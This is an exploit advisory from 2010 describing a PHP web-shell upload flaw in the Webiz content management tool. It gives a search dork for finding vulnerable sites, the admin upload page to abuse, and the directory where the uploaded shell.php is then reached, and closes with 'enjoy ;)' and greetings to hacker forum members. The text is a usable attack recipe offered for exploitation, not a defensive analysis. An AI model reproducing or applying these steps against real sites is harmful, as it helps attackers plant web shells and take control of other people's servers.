77 lines
No EOL
2.3 KiB
Text
77 lines
No EOL
2.3 KiB
Text
# Exploit Title: (Webiz) local SHELL Upload Vulnerability
|
|
# Date: 23-05-2010
|
|
# Author: kannibal615
|
|
# Software Link: N/A
|
|
# Version: 2004
|
|
# Tested on: PHP
|
|
# CVE : N/A
|
|
# Code :
|
|
|
|
|
|
@@ @@ @@@@@@ @@ @@ @@@@ @@@@@@@ @@ @@ @@@@@@@ @@@@@
|
|
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
|
|
@@ @@ @@ @@@ @@@@@@@@ @@ @@ @@ @@@@ @@@@@@ @@ @@
|
|
@@ @@ @@ @@@ @@@@@@@@ @@@@@@@@ @@ @@ @@ @@@@@@ @@ @@
|
|
@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
|
|
@@ @@@@@@ @@ @@ @@ @@ @@@@@@@ @@ @@ @@@@@@@ @@ @@ dot NET
|
|
|
|
KANNIBAL615
|
|
|
|
=========================================================================
|
|
WEBIZ REMOTE SHELL UPLOAD VULNERABILITY
|
|
=========================================================================
|
|
BY
|
|
KANNIBAL615
|
|
=========================================================================
|
|
|
|
== Found By : kannibal615
|
|
== website : www.vbhacker.net/vb
|
|
== email : zn[at]live[dot]de
|
|
==
|
|
== Thanks to : THE PIRATOR
|
|
== : Pc-InSeCt / emptyzero
|
|
== : DAK / l3G3NDS / m0j4h3d
|
|
== : V!Ru$_T4ckJ3n / __MiM0__
|
|
== : ruqa / PrideArabs / DIESEL
|
|
== : yassine_hell / mu$lim
|
|
== : ALL VBHACKER MEMBERS
|
|
=========================================================================
|
|
|
|
EXPLOIT
|
|
|
|
=========================================================================
|
|
== CMS : Web content Management Tool [ wmt ]
|
|
== version : 2004
|
|
== risk : hight
|
|
== dork : Powered by Webiz
|
|
== Rating : *****
|
|
==
|
|
== -------------------------------------------
|
|
== *** YOU MUST HAVE A ADMINISTRATOR RIGHT ***
|
|
== -------------------------------------------
|
|
==
|
|
== BUG
|
|
== ../wmt/siteadmin/videos.php
|
|
==
|
|
==
|
|
==
|
|
== PHP file Upload
|
|
==
|
|
==
|
|
==
|
|
== upload your shell from here
|
|
== http://[localhost]/wmt/siteadmin/videos.php >> shell.php
|
|
==
|
|
==
|
|
==
|
|
== Get it
|
|
== http://[localhost]/wmt/userfiles/Media/videos/shell.php
|
|
==
|
|
==
|
|
==
|
|
== enjoy ;)
|
|
==
|
|
== kannibal615 Copyright 2010
|
|
==
|
|
== www.vbhacker.net/vb
|
|
========================================================================== |